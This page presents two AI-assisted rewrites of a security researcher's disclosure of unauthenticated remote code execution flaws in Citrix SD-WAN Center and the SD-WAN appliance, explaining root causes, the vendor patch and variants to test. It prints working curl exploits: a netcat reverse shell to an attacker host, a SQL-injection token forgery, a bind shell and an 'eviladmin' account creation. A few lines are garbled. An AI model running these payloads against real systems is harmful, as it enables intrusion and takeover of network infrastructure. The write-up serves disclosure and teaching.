Skip to content
RCE Write-up Intermediate

Multiple Unauthenticated RCEs in SD-WAN Center

medium.com

Published on medium.com

While inspecting the patch for TRA-2019–18, I discovered multiple critical vulnerabilities in both Citrix SD-WAN Center (SDWC) and the SD-WAN appliance itself (formerly known as NetScaler SD-WAN). Both software packages can be compromised by a remote, unauthenticated attacker.

Chris Lyne, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Citrix SD-WAN Center (SDWC) is a CakePHP web application used to manage Citrix SD-WAN appliances. The SD-WAN appliance itself (formerly NetScaler SD-WAN) is a separate software package whose management interface is implemented largely in Perl CGI scripts. The product line is designed to give organisations software-defined WAN capabilities spanning geographic regions, and the topology in the write-up treats every node as either an SDWC (headend, collector) or an SD-WAN appliance (MCN, RCN, branch appliance).

Source: Multi-region Network Deployment From the original on medium.com

Source: Multi-region Network Deployment

The research started from the patch for TRA-2019-18 and ended with multiple critical vulnerabilities in both packages. Both software packages can be compromised by a remote, unauthenticated attacker, which in theory lets an attacker pivot from node to node and compromise an entire SD-WAN.

Setup

The write-up does not describe a lab build, accounts or tool versions. The only tooling shown is curl, and the examples use private lab addresses (redacted below). The preconditions differ per target:

  • On SDWC, the bugs are reachable without authentication because of how CollectorController forwards requests.
  • On the appliance, the command injection sits behind check_session(), so it needs the authentication bypass found in the same appliance to be useful.

Finding it

For SDWC, authentication is enforced within the application for the most part, but one controller acts as a passthrough. CollectorController forwards requests to other controllers, effectively bypassing the authentication requirement of the target controller. Normally you cannot request DiagnosticsController without an authenticated session, but CollectorController will happily forward a request straight to it. Without this logic, all of the SDWC bugs would require authentication.

Two pre-authenticated requests show the difference: a request to /Diagnostics returns HTTP 302 (to /login), while a request to /Collector returns 200.

302 Response /Diagnostics From the original on medium.com

302 Response /Diagnostics

200 Response /Collector From the original on medium.com

200 Response /Collector

In CollectorController, the beforeFilter method explicitly gives pre-authenticated access to many actions. The write-up focuses on diagnostics:

PHP
public function beforeFilter(){    // snip    // not shown: 19 other actions allowed    // allow unauth access to diagnostics action    $this->Auth->allow('diagnostics');    parent::beforeFilter();}

The diagnostics action creates a new instance of DiagnosticsController to handle the request:

PHP
public function diagnostics($resource){    $this->autoRender = false;      // avoid to render view    $diagController = new DiagnosticsController($this->request, $this->response);    return $diagController->$resource();}

So CollectorController first handles the incoming HTTP request and the diagnostics action is invoked; the request is then passed off to DiagnosticsController, which generates the response.

CollectorController forwards traffic From the original on medium.com

CollectorController forwards traffic

In DiagnosticsController there is a ping action whose method contains an OS command injection vulnerability. All three HTTP GET parameters are interpolated, unsanitized, into a command line that is executed by the PHP exec function. Thanks to CollectorController, this can be exploited without authentication to gain root access.

Exploitation

Step 1: Unauthenticated command injection in SDWC

The following curl command pops a reverse shell, connecting back to the attacker host on TCP port 4444:

Bash
curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-nv+[redacted]+4444+-e+/bin/bash%60' https://[redacted]/Collector/diagnostics/ping

The request goes to the forwarded ping action. The ipAddress value is URL-encoded backticks (%60) wrapping a sudo /bin/nc command that connects back to the attacker and executes /bin/bash. Because the request goes through /Collector/diagnostics/ping, no session is needed. The write-up demonstrates this with a short video of the unauthenticated command injection against /Collector/diagnostics/ping.

There are more RCE vulnerabilities than the one shown; the research advisory (TRA-2019-31) covers them. The topology diagram below shows which SDWC nodes can be rooted so far.

SDWC nodes can be rooted From the original on medium.com

SDWC nodes can be rooted

Step 2: SQL injection in the appliance's getpackagefile.cgi

On the SD-WAN appliance the researcher did not find an unauthenticated RCE. Instead there is an authentication bypass plus another OS command injection, both in Perl CGI scripts. Used in combination they give root without credentials.

In cgi-bin/sdwanrestapi/getpackagefile.cgi, a JSON body is expected in the POST data, and the site_name record is used to construct multiple SQL queries. The first vulnerable query:

PERL
if($package_type eq "active"){    $query = "SELECT observed_sw_revision, appliance_name,    expected_sw_revision, package_file_name from     Network_Appliance_Active " .    "WHERE site_name ='" . $site_name_arg . "' AND  " .    "appliance_id=" . $appliance_id_arg.";";}

$site_name_arg is concatenated into the query, and its value comes straight out of the JSON:

PERL
my $q = CGI->new;my $json_data = $q->param('POSTDATA');// snip$package_data = decode_json($json_data);// snipmy $site_name_arg = $package_data->{'get_package_file'}->{'site_name'};

That is a classic SQL injection: unsanitized user input concatenated into a SQL query. The query itself has nothing to do with authentication, so the bypass comes from elsewhere. When a request is received, check_session() (defined in utils.cgi) ensures there is an active authenticated session. One of its first checks is whether the request is tied to a single sign-on session, by calling check_swc_sso():

PERL
// cgi-bin/utils.cgisub check_session(){    // snip    if(check_swc_sso($q, $redirect_title) == 1)    {            return 1;    }    // snip}

check_swc_sso() checks whether a token file exists in the /tmp directory. It grabs the token value from the swc-token GET parameter, then looks for a file named token_$sso_token in /tmp, where $sso_token contains the token value. If the file exists, the request is granted level 1 access (admin):

PERL
// cgi-bin/utils.cgisub check_swc_sso{    my ($q, $redirect_title) = @_;    my $sso_token = initialize_if_blank(scalar($q->param('swc-token')));if($sso_token ne "" && -e "/tmp/token_$sso_token" ) {        write_to_access_log("SSO token found\n");        my $level = "1"; // snip}

The database is MySQL, so the SQL injection can write a file using SELECT ... INTO OUTFILE. The injection uses a UNION:

SQL
blah' UNION SELECT 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#

Injected as the value of site_name, this creates a file named token_01234 in /tmp, which makes 01234 a valid swc-token. The exploit request that generates the token file:

Bash
curl --insecure -H 'SSL_CLIENT_VERIFY: SUCCESS' -H 'Content-Type: application/json' -d '{"get_package_file": {"site_name": "blah'"' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#\""',"appliance_type": "primary","package_type": "active"}}' https://[redacted]/sdwan/nitro/v1/config/get_package_file?action=file_download

The JSON body carries the UNION payload in site_name, with appliance_type set to primary and package_type to active. The request also sends an SSL_CLIENT_VERIFY: SUCCESS header.

Step 3: Command injection in installpatch.cgi, reached with the forged token

A GET parameter, installfile, is interpolated directly inside a call to the Perl system function:

PERL
// cgi-bin/installpatch.cgiif (check_session($q)){    // snip    my $fullname = $q->param('installfile');    // snip    system("sudo sh -c \"echo sudo -i /home/talariuser/bin/os_patch_installer.pl --package=/home/talariuser/install/os_patch/$fullname | at now\"");}

This can only be triggered if check_session succeeds, so the attacker has to be authenticated. The forged token from step 2 supplies that. The exploit starts a bind shell on the appliance, with the token value used for swc-token:

Bash
curl --insecure 'https://[redacted]/cgi-bin/installpatch.cgi?swc-token=01234&installfile=`/usr/bin/sudo%20/bin/nc%20-lp%204444%20-e%20/bin/bash`'

The swc-[redacted] matches the file created by the SQL injection, so check_sessionpasses. Theinstallfile` value is URL-encoded backticks around a netcat command.

The topology diagram below shows the appliance nodes that can be rooted by exploiting these two vulnerabilities.

All appliances can be rooted From the original on medium.com

All appliances can be rooted

A video demonstrates the chained attack: the SQL injection authentication bypass and the command injection used together.

Root cause

On SDWC, the flaw is a design mistake in the authentication model. CollectorController::beforeFilter calls $this->Auth->allow('diagnostics'), and the diagnostics action instantiates DiagnosticsController and dispatches to an arbitrary action named by the $resource argument. The target controller's own authentication is bypassed, so the forwarded action runs without a session. The ping action then interpolates all three GET parameters into a command line passed to exec without sanitisation, turning the bypass into command execution as root.

On the appliance, two mistakes combine. First, getpackagefile.cgi concatenates the JSON-supplied site_name into SQL, giving SQL injection into a MySQL database. Second, check_swc_sso() treats the mere existence of a file in /tmp whose name is derived from an attacker-supplied swc-token parameter as proof of an admin SSO session. Because the SQL injection can write arbitrary files via INTO OUTFILE, the attacker can manufacture that proof. installpatch.cgi then passes installfile into system() without sanitisation, and the only gate in front of it, check_session, is the one that was just bypassed.

Impact

Both software packages can be compromised by a remote, unauthenticated attacker. On SDWC, the command injection yields root directly. On the appliance, the SQL injection and command injection chained together give root without credentials. Given the multi-branch topology, it is possibly the case that an attacker could only reach a single node, but since both node types can be rooted, an attacker can pivot from one machine to the next: SDWC to SDWC, appliance to appliance, or SDWC to appliance in either direction. The write-up notes that the pivot potential is endless here.

The exploits shown all deliver a payload that gives the attacker a shell, but a different payload could create a new admin account for the web interface. The following command adds an admin user named eviladmin:

Bash
perl /home/talariuser/bin/user_management.pl addUser eviladmin evilpassword 1
eviladmin user added From the original on medium.com

eviladmin user added

This works on both SDWC and the appliance.

Fix

Citrix released a security bulletin (CTX251987) and patches to address the reported vulnerabilities. The write-up does not describe the code changes themselves. The underlying issues to address are the passthrough in CollectorController that skips the target controller's authentication, the unsanitised interpolation in the SDWC ping action, the SQL concatenation in getpackagefile.cgi, the file-existence check used as an SSO token in check_swc_sso(), and the unsanitised installfile in installpatch.cgi.

Variants to test

  1. Other actions behind the passthrough. The beforeFilter snippet notes 19 other actions allowed for unauthenticated access. Enumerate them and check whether each forwards to a controller action that takes user input; a positive result is a pre-authenticated request returning 200 where the direct controller path returns 302 to /login.
  2. Other $resource values on diagnostics. The action dispatches to $diagController->$resource(), so any method on DiagnosticsController is reachable. A positive result is a response from a method you could not otherwise call without a session.
  3. Other SQL sinks in the appliance CGI scripts. Look for other JSON fields concatenated into queries in cgi-bin/sdwanrestapi/. A positive result is a query error or a file appearing in /tmp after a crafted request.
  4. Other file-existence checks for auth. Search the CGI scripts for -e tests on paths built from request parameters. A positive result is a request that succeeds after you create the expected file through any write primitive.
  5. Other system() calls with request parameters. Grep the CGI scripts for system( and trace each argument back to $q->param. A positive result is a parameter whose value reaches the shell, demonstrated with a harmless command such as id.
  6. Pivot paths between node types. Once one node is rooted, test reachability from it to the other node types in the topology (SDWC to appliance and the reverse). A positive result is a successful login or exploit from the compromised node to a neighbour that was not directly reachable before.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

A security researcher looked at a software update (a "patch") that the company Citrix had released for one of its products. While inspecting that patch, they started digging. What they found were several serious security holes in two Citrix products: Citrix SD-WAN Center (often shortened to SDWC) and the Citrix SD-WAN appliance itself (it used to be called NetScaler SD-WAN).

Both products can be broken into by someone sitting somewhere else on the network, without that person ever logging in. That is what "remote, unauthenticated attacker" means: remote because they are not physically at the machine, unauthenticated because they do not need a username or password.

These products are used to connect the networks of a company across different cities and countries. If an attacker can break into one machine, they could theoretically use that machine as a stepping stone to break into the next one. Security people call this "pivoting".

This article walks through what the researcher found, in the same order they found it, and explains every technical idea from scratch along the way.

The network we are talking about

Before the technical details, it helps to picture the setup. A company that uses Citrix SD-WAN has several kinds of machines:

  • SD-WAN Center (SDWC): a management web application. Think of it as the control room. It is a website you open in a browser, and from there you manage all the other machines. There can be more than one SDWC, for example a "headend" or a "collector".
  • SD-WAN appliance: the machine that actually does the network work at each site. Examples are an "MCN", an "RCN" or a "branch appliance". Think of these as the workers in the field.

The diagram below shows a typical multi-region deployment. Keep it in mind as we go: every node in it is either an SDWC or an SD-WAN appliance.

Source: Multi-region Network Deployment From the original on medium.com

Source: Multi-region Network Deployment

Finding the first hole: a door that forwards visitors

SD-WAN Center is a web application written with a programming framework called CakePHP. A framework is a collection of ready-made building blocks that developers use to build a website faster. In CakePHP, the code is organised into controllers. A controller is a piece of code that handles one kind of request. For example, there is a DiagnosticsController that handles diagnostic requests (things like "ping this machine to see if it is alive").

Normally, the application checks whether you are logged in before it lets you use a controller. If you are not logged in, it sends you to the login page. In web terms, it answers your request with an HTTP 302 response, which is the standard way a website says "go somewhere else, namely here". A successful request gets an HTTP 200, which means "here is your page".

But the researcher found one controller, CollectorController, that acts like a receptionist who forwards visitors to any office without checking their badge. It takes an incoming request and passes it on to another controller. The target controller then handles the request, but its own login check never runs. So a request that should have been stopped at the front desk gets through.

To see the difference, the researcher sent two requests without logging in. The first went to /Diagnostics and came back with a 302, redirecting to /login. The second went to /Collector and came back with a 200. Same lack of login, very different answer.

302 Response /Diagnostics From the original on medium.com

302 Response /Diagnostics

200 Response /Collector From the original on medium.com

200 Response /Collector

Why does this matter? Because without this forwarding behaviour, every bug the researcher found in SDWC would have required a valid login first. The forwarding turns a logged-in-only problem into a problem anyone on the network can reach.

The code that opens the door

Inside CollectorController there is a function called beforeFilter. In CakePHP, beforeFilter runs before every action in the controller, and it is where access rules are usually set. The code below tells the framework to allow unauthenticated access to the diagnostics action:

PHP
public function beforeFilter(){    // snip    // not shown: 19 other actions allowed    // allow unauth access to diagnostics action    $this->Auth->allow('diagnostics');    parent::beforeFilter();}

Line by line:

  • public function beforeFilter(){ starts the function that runs before each action.
  • // snip and // not shown: 19 other actions allowed are comments: notes for humans, ignored by the computer. They tell us the snippet is shortened and that 19 other actions are also allowed without login.
  • // allow unauth access to diagnostics action is another comment explaining the next line.
  • $this->Auth->allow('diagnostics'); is the important line. $this->Auth is the login-checking component. allow('diagnostics') tells it: do not require a login for the diagnostics action.
  • parent::beforeFilter(); runs the standard setup that the framework expects.

So the receptionist has been told, in writing, to let diagnostics visitors through without a badge.

The action that forwards the request

Next, the diagnostics action itself. It creates a new instance of DiagnosticsController and calls whichever method the visitor names:

PHP
public function diagnostics($resource){    $this->autoRender = false;      // avoid to render view    $diagController = new DiagnosticsController($this->request, $this->response);    return $diagController->$resource();}

Line by line:

  • public function diagnostics($resource){ defines the action. It takes one input, $resource, which is the name of the method the visitor wants to run.
  • $this->autoRender = false; tells the framework not to build a normal web page for this request. The comment says the same thing.
  • $diagController = new DiagnosticsController($this->request, $this->response); creates a fresh DiagnosticsController object, handing it the original request and response.
  • return $diagController->$resource(); calls the method named by $resource on that new object and returns its result.

This is the heart of the problem. The visitor chooses the method name. The new controller is created inside CollectorController, so the login check that would normally guard DiagnosticsController is never applied.

The diagram below shows the flow: CollectorController receives the HTTP request, the diagnostics action runs, and the request is handed to DiagnosticsController, which produces the response.

CollectorController forwards traffic From the original on medium.com

CollectorController forwards traffic

The ping action and command injection

Inside DiagnosticsController there is a ping action. "Ping" is a standard network test: you send a small message to a machine and see whether it answers. The action takes three values from the HTTP GET parameters (the part of a URL after the ?) and builds a command line out of them. It then runs that command line with the PHP exec function. exec runs a command on the operating system, as if you had typed it in a terminal.

The problem is that the three values are inserted into the command without any cleaning. This is called OS command injection: if the attacker can put special characters into a value, those characters become part of the command that the operating system runs. It is like a form that asks for your name and then shouts "Hello, [your name]!" into a microphone; if you write "Alice, and also please open the safe", the safe gets opened.

Because the request can go through CollectorController, no login is needed. Thanks to the forwarding, this can be exploited without authentication to gain root, the all-powerful administrator account on Linux.

Step 1: getting a shell without logging in

The researcher used curl to send the malicious request. curl is a command-line tool for talking to web servers; you can think of it as a browser without a window. A reverse shell is a connection the victim machine makes back to the attacker, giving the attacker a command prompt on the victim.

Bash
curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-nv+[redacted]+4444+-e+/bin/bash%60' https://[redacted]/Collector/diagnostics/ping

Line by line:

  • curl is the tool being run.
  • --insecure tells curl not to worry about certificate problems on the HTTPS connection. Certificates are the padlocks that prove a website is who it claims to be; in a lab, they are often self-signed, so this flag avoids an error.
  • -d '...' sends the quoted text as the body of a POST request. A POST request is how a browser submits a form.
  • ipAddress=%60sudo+/bin/nc+-nv+[redacted]+4444+-e+/bin/bash%60 is the form field. ipAddress is the parameter name the ping action expects. The value is URL-encoded: %60 is the backtick character, and + stands for a space. Decoded, the value is `sudo /bin/nc -nv 192.168.1.191 4444 -e /bin/bash`. Backticks in a shell mean "run this command and put its output here", so the ping command ends up running the command inside them. sudo runs the rest as administrator. /bin/nc is netcat, a simple networking tool. -nv makes it verbose and stops it resolving names. [redacted] and 4444 are the attacker's address and port. -e /bin/bash tells netcat to attach a bash shell to the connection.
  • https://[redacted]/Collector/diagnostics/ping is the target URL. It goes through Collector, then diagnostics, then ping, which is exactly the forwarding path described above.

The command is intended to pop a reverse shell on the SD-WAN Center machine, with no login at any point. The researcher recorded a short video of this unauthenticated command injection against /Collector/diagnostics/ping.

There are more remote code execution (RCE) bugs than the one shown here. RCE simply means the attacker can make the server run code of their choosing. The research advisory TRA-2019-31 covers the others. The diagram below shows which SDWC nodes can be rooted so far.

SDWC nodes can be rooted From the original on medium.com

SDWC nodes can be rooted

Moving to the appliance: two bugs instead of one

On the SD-WAN appliance, the researcher did not find a single unauthenticated RCE. Instead they found two separate problems that, used together, give the same result: root access without credentials. Both are in Perl CGI scripts. Perl is a programming language, and CGI is an old but still common way for a web server to run a script and return its output as a web page.

Bug 1: SQL injection that forges a login token

First, some background. A database stores data in tables, and SQL is the language used to ask it questions. A typical question is "give me the rows where the site name is X". A SQL injection happens when user input is pasted directly into such a question, so the user can change the question itself. It is like a librarian who reads your request "find books by [author]" and you write "anyone; also hand me the keys to the safe".

In cgi-bin/sdwanrestapi/getpackagefile.cgi, the script expects a JSON body in the POST data. JSON is a text format for structured data, like a very strict shopping list: {"name": "value"}. The site_name field from that JSON is used to build several SQL queries. Here is the first vulnerable one:

PERL
if($package_type eq "active"){    $query = "SELECT observed_sw_revision, appliance_name,    expected_sw_revision, package_file_name from     Network_Appliance_Active " .    "WHERE site_name ='" . $site_name_arg . "' AND  " .    "appliance_id=" . $appliance_id_arg.";";}

Line by line:

  • if($package_type eq "active"){ checks whether the package type is active. eq means "equals" for text in Perl.
  • $query = "SELECT ... starts building the SQL question. SELECT lists the columns to return: observed_sw_revision, appliance_name, expected_sw_revision, package_file_name.
  • from Network_Appliance_Active names the table to read.
  • "WHERE site_name ='" . $site_name_arg . "' AND " is the dangerous part. The text WHERE site_name =' is glued (with the dot, which means "join strings") to the value of $site_name_arg, then to ' AND . Whatever the user put in site_name lands inside the SQL question.
  • "appliance_id=" . $appliance_id_arg.";"; does the same with the appliance ID, then closes the statement with a semicolon.

Where does $site_name_arg come from? Straight from the JSON, as this snippet shows:

PERL
my $q = CGI->new;my $json_data = $q->param('POSTDATA');// snip$package_data = decode_json($json_data);// snipmy $site_name_arg = $package_data->{'get_package_file'}->{'site_name'};

Line by line:

  • my $q = CGI->new; creates an object that reads the incoming request.
  • my $json_data = $q->param('POSTDATA'); grabs the raw POST body, which is expected to be JSON.
  • // snip marks omitted lines.
  • $package_data = decode_json($json_data); turns the JSON text into a Perl data structure.
  • my $site_name_arg = $package_data->{'get_package_file'}->{'site_name'}; walks into that structure and copies the site_name value into a variable.

So the user controls site_name, and site_name is pasted into SQL. That is a classic SQL injection. But notice: this query has nothing to do with logging in. So how does it bypass authentication? The answer is in how the appliance checks sessions.

A session is how a website remembers that you logged in. After you log in, the server gives your browser a small piece of data, often called a cookie or token, and your browser sends it back with every request. If the token is valid, you are treated as logged in. Think of it as a wristband at an event: show the wristband, get in.

When a request arrives, the script calls check_session() (defined in utils.cgi) to make sure there is an active, authenticated session. One of the first things it checks is whether the request belongs to a single sign-on session. Single sign-on (SSO) means logging in once and being trusted by several systems. It does this by calling check_swc_sso():

PERL
// cgi-bin/utils.cgisub check_session(){    // snip    if(check_swc_sso($q, $redirect_title) == 1)    {            return 1;    }    // snip}

Line by line:

  • // cgi-bin/utils.cgi is a comment showing which file this comes from.
  • sub check_session(){ starts the function that decides whether a request is logged in.
  • // snip marks omitted lines.
  • if(check_swc_sso($q, $redirect_title) == 1) calls the SSO check. If it returns 1, meaning "yes, this is a valid SSO request", the next block runs.
  • return 1; tells the caller "this request is authenticated".

Now the SSO check itself:

PERL
// cgi-bin/utils.cgisub check_swc_sso{    my ($q, $redirect_title) = @_;    my $sso_token = initialize_if_blank(scalar($q->param('swc-token')));if($sso_token ne "" && -e "/tmp/token_$sso_token" ) {        write_to_access_log("SSO token found\n");        my $level = "1"; // snip}

Line by line:

  • sub check_swc_sso{ starts the function.
  • my ($q, $redirect_title) = @_; receives the two arguments passed in.
  • my $sso_token = initialize_if_blank(scalar($q->param('swc-token'))); reads the swc-token value from the URL's GET parameters. initialize_if_blank presumably turns an empty value into something safe.
  • if($sso_token ne "" && -e "/tmp/token_$sso_token" ) { is the crucial test. ne "" means "is not empty". -e is a Perl test that asks "does this file exist?". The path is /tmp/token_ followed by the token value. /tmp is a temporary folder on Linux that any program can write to.
  • write_to_access_log("SSO token found\n"); writes a line to the access log.
  • my $level = "1"; sets the access level to 1, which the write-up says means admin.

In plain words: if a file named token_<whatever the user typed> exists in /tmp, the request is treated as an admin SSO session. The check does not verify who created the file or what is inside it. It only checks that the file exists. That is like a bouncer who lets you into the VIP area if you can show any piece of paper with the word "guest" on it, even one you printed yourself.

Now the two pieces fit together. The database is MySQL, and MySQL has a feature called SELECT ... INTO OUTFILE that writes the result of a query into a file on disk. If the attacker can inject SQL, they can make the database write a file. The injection uses a UNION, which is SQL for "add the results of another query to these results". The payload is:

SQL
blah' UNION SELECT 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#

Line by line:

  • blah' closes the string that the original query opened around site_name. The original query had site_name =' and then the user value; the quote here ends that string early.
  • UNION SELECT 'tenable','zero','day','research' adds a second result row containing four fixed text values. The number of values must match the columns in the original query, which is why there are four.
  • INTO OUTFILE '/tmp/token_01234' tells MySQL to write the result into that file path.
  • ;# ends the statement and turns the rest of the original query into a comment, so it is ignored.

When this is placed in the site_name field, the database creates a file named token_01234 in /tmp. From that moment, 01234 is a valid swc-token, because the SSO check only asks whether /tmp/token_01234 exists.

The request that generates the token file looks like this:

Bash
curl --insecure -H 'SSL_CLIENT_VERIFY: SUCCESS' -H 'Content-Type: application/json' -d '{"get_package_file": {"site_name": "blah'"' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#\""',"appliance_type": "primary","package_type": "active"}}' https://[redacted]/sdwan/nitro/v1/config/get_package_file?action=file_download

Line by line:

  • curl --insecure is the same tool and flag as before.
  • -H 'SSL_CLIENT_VERIFY: SUCCESS' adds an HTTP header. Headers are extra labels sent with a request, like the "fragile" sticker on a parcel. This one claims that the client certificate was verified successfully. A client certificate is a way for a client to prove its identity to a server.
  • -H 'Content-Type: application/json' tells the server that the body is JSON, so it should parse it as such.
  • -d '...' sends the JSON body. Inside it, get_package_file is the top-level object, site_name holds the SQL injection, appliance_type is primary, and package_type is active. The body also sets appliance_type to primary and package_type to active.
  • https://[redacted]/sdwan/nitro/v1/config/get_package_file?action=file_download is the target URL. The path and the action=file_download parameter tell the appliance which script and action to run.

Bug 2: command injection behind the login check

The second appliance bug is another OS command injection. A GET parameter called installfile is inserted directly into a call to Perl's system function. system runs an operating system command, just like PHP's exec.

PERL
// cgi-bin/installpatch.cgiif (check_session($q)){    // snip    my $fullname = $q->param('installfile');    // snip    system("sudo sh -c \"echo sudo -i /home/talariuser/bin/os_patch_installer.pl --package=/home/talariuser/install/os_patch/$fullname | at now\"");}

Line by line:

  • // cgi-bin/installpatch.cgi names the file.
  • if (check_session($q)){ is the gate: the rest only runs if the session check passes.
  • // snip marks omitted lines.
  • my $fullname = $q->param('installfile'); reads the installfile value from the request.
  • // snip marks more omitted lines.
  • system("sudo sh -c \"echo sudo -i /home/talariuser/bin/os_patch_installer.pl --package=/home/talariuser/install/os_patch/$fullname | at now\""); builds a command and runs it. sudo runs as administrator. sh -c runs the following text as a shell command. echo prints text. The text being printed is a command to run the patch installer with a package path that ends in $fullname. The | at now part pipes that text into at, a scheduler that runs it immediately. Because $fullname is pasted in without cleaning, an attacker can put shell commands there.

This bug can only be triggered if check_session succeeds, so the attacker must be logged in. That is where the forged token from the previous step comes in. The exploit starts a bind shell on the appliance. A bind shell is the opposite of a reverse shell: the victim opens a port and waits, and the attacker connects to it.

Bash
curl --insecure 'https://[redacted]/cgi-bin/installpatch.cgi?swc-token=01234&installfile=`/usr/bin/sudo%20/bin/nc%20-lp%204444%20-e%20/bin/bash`'

Line by line:

  • curl --insecure is the same tool and flag.
  • The URL is wrapped in single quotes so the shell does not interpret the backticks before curl sees them.
  • https://[redacted]/cgi-bin/installpatch.cgi is the target script.
  • ?swc-[redacted] supplies the token. Because the SQL injection created /tmp/token_01234, check_session` passes.
  • &installfile= starts the second parameter.
  • `/usr/bin/sudo%20/bin/nc%20-lp%204444%20-e%20/bin/bash` is the value. %20 is URL encoding for a space. Decoded, it is `/usr/bin/sudo /bin/nc -lp 4444 -e /bin/bash`. The backticks make the shell run that command. sudo runs as administrator. nc -lp 4444 makes netcat listen on port 4444. -e /bin/bash attaches a bash shell to anyone who connects.

The command is intended to start a bind shell on the appliance, reached without ever knowing a password. The diagram below shows the appliance nodes that can be rooted by exploiting these two bugs together.

All appliances can be rooted From the original on medium.com

All appliances can be rooted

A video demonstrates the chained attack: the SQL injection authentication bypass and the command injection used together.

Why the bugs exist

On SDWC, the root cause is a design mistake in the login model. CollectorController::beforeFilter calls $this->Auth->allow('diagnostics'), and the diagnostics action creates a DiagnosticsController and calls whatever method the $resource argument names. The target controller's own login check is never applied, so every action reachable through that forwarding path is effectively public. The ping action then pastes all three GET parameters into a command line passed to exec without cleaning, turning the bypass into command execution as root.

On the appliance, two mistakes combine. First, getpackagefile.cgi pastes the JSON-supplied site_name into SQL, giving SQL injection into a MySQL database. Second, check_swc_sso() treats the mere existence of a file in /tmp whose name comes from an attacker-supplied swc-token parameter as proof of an admin SSO session. Because the SQL injection can write arbitrary files with INTO OUTFILE, the attacker can manufacture that proof. installpatch.cgi then passes installfile into system() without cleaning, and the only gate in front of it, check_session, is the one that was just bypassed.

What an attacker could do

Both software packages can be compromised by a remote, unauthenticated attacker. On SDWC, the command injection gives root directly. On the appliance, the SQL injection and command injection chained together give root without credentials. Because the product spans a multi-branch network, an attacker who can reach only a single node can pivot from one machine to the next: SDWC to SDWC, appliance to appliance, or SDWC to appliance in either direction. The write-up notes that the pivot potential is endless here.

The exploits shown all deliver a payload that gives the attacker a shell, but a different payload could create a new admin account for the web interface. The following command adds an admin user named eviladmin:

Bash
perl /home/talariuser/bin/user_management.pl addUser eviladmin evilpassword 1

Line by line:

  • perl runs the Perl interpreter.
  • /home/talariuser/bin/user_management.pl is a script that manages users.
  • addUser is the action: add a user.
  • eviladmin is the username to create.
  • evilpassword is the password for that user.
  • 1 is the last argument, presumably the access level.

The screenshot below shows the result. This works on both SDWC and the appliance.

eviladmin user added From the original on medium.com

eviladmin user added

How it was fixed

Citrix released a security bulletin (CTX251987) and patches to address the reported vulnerabilities. The write-up does not describe the code changes themselves. The underlying issues to address are the forwarding in CollectorController that skips the target controller's login check, the uncleaned input in the SDWC ping action, the SQL string concatenation in getpackagefile.cgi, the file-existence check used as an SSO token in check_swc_sso(), and the uncleaned installfile in installpatch.cgi.

Where else to look

If you are testing a similar product, these are places to look next. Each one is a variation on the same idea.

  1. Other actions behind the forwarding. The beforeFilter snippet notes 19 other actions allowed without login. List them and check whether each forwards to a controller action that takes user input. A positive result is a request without login that returns 200 where the direct controller path returns 302 to /login.
  2. Other $resource values on diagnostics. The action calls $diagController->$resource(), so any method on DiagnosticsController is reachable. A positive result is a response from a method you could not otherwise call without a session.
  3. Other SQL sinks in the appliance CGI scripts. Look for other JSON fields pasted into queries in cgi-bin/sdwanrestapi/. A positive result is a query error or a file appearing in /tmp after a crafted request.
  4. Other file-existence checks used for login. Search the CGI scripts for -e tests on paths built from request parameters. A positive result is a request that succeeds after you create the expected file through any write primitive.
  5. Other system() calls with request parameters. Search the CGI scripts for system( and trace each argument back to $q->param. A positive result is a parameter whose value reaches the shell, demonstrated with a harmless command such as id.
  6. Pivot paths between node types. Once one node is rooted, test reachability from it to the other node types in the network (SDWC to appliance and the reverse). A positive result is a successful login or exploit from the compromised node to a neighbour that was not directly reachable before.

Glossary

  • API: a defined way for one program to ask another program to do something, like a menu of requests a service accepts.
  • Authentication: proving who you are, usually with a username and password.
  • Bind shell: a shell where the victim machine opens a network port and waits for the attacker to connect.
  • CakePHP: a programming framework for building web applications in PHP.
  • CGI: a way for a web server to run a script and send its output back as a web page.
  • Client certificate: a digital document a client presents to a server to prove its identity.
  • Command injection: a bug where user input becomes part of an operating system command, letting the user run their own commands.
  • Controller: a piece of code in a web application that handles one kind of request.
  • Cookie: a small piece of data a website stores in your browser and receives back on later requests, often used to remember a login.
  • curl: a command-line tool for sending requests to web servers.
  • Database: software that stores data in tables and answers questions about it.
  • exec: a PHP function that runs an operating system command.
  • GET parameter: a value attached to the end of a URL after a ?, used to pass information to the server.
  • Header: extra information sent with an HTTP request or response, such as the content type.
  • HTTP 200: the status code meaning the request succeeded.
  • HTTP 302: the status code meaning the requested thing is elsewhere, usually a redirect to another page.
  • JSON: a text format for structured data, made of names and values.
  • MySQL: a popular database system.
  • OS command injection: see command injection.
  • Perl: a programming language often used for older web scripts.
  • PHP: a programming language widely used for web applications.
  • Pivot: using one compromised machine as a stepping stone to reach another.
  • POST request: a request that carries data in its body, typically used when submitting a form.
  • Remote, unauthenticated attacker: someone on the network, not physically present, who does not need a login.
  • Reverse shell: a shell where the victim machine connects back to the attacker and hands over a command prompt.
  • Root: the all-powerful administrator account on Linux.
  • RCE (remote code execution): a bug that lets an attacker make a remote machine run code of their choosing.
  • SD-WAN: software-defined wide area network, a way of connecting a company's sites across regions using software.
  • SD-WAN appliance: the machine at a site that does the network work.
  • SD-WAN Center (SDWC): the web application used to manage SD-WAN appliances.
  • Session: the server's record that you are logged in, usually tied to a cookie or token.
  • Single sign-on (SSO): logging in once and being trusted by several systems.
  • SQL: the language used to ask a database questions.
  • SQL injection: a bug where user input is pasted into a SQL question, letting the user change the question.
  • system: a Perl function that runs an operating system command.
  • Token: a piece of data used to prove a session or identity, similar to a wristband.
  • UNION: a SQL keyword that combines the results of two queries.
  • URL encoding: writing special characters in a URL as % followed by a code, such as %60 for a backtick.
  • INTO OUTFILE: a MySQL feature that writes query results into a file on disk.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.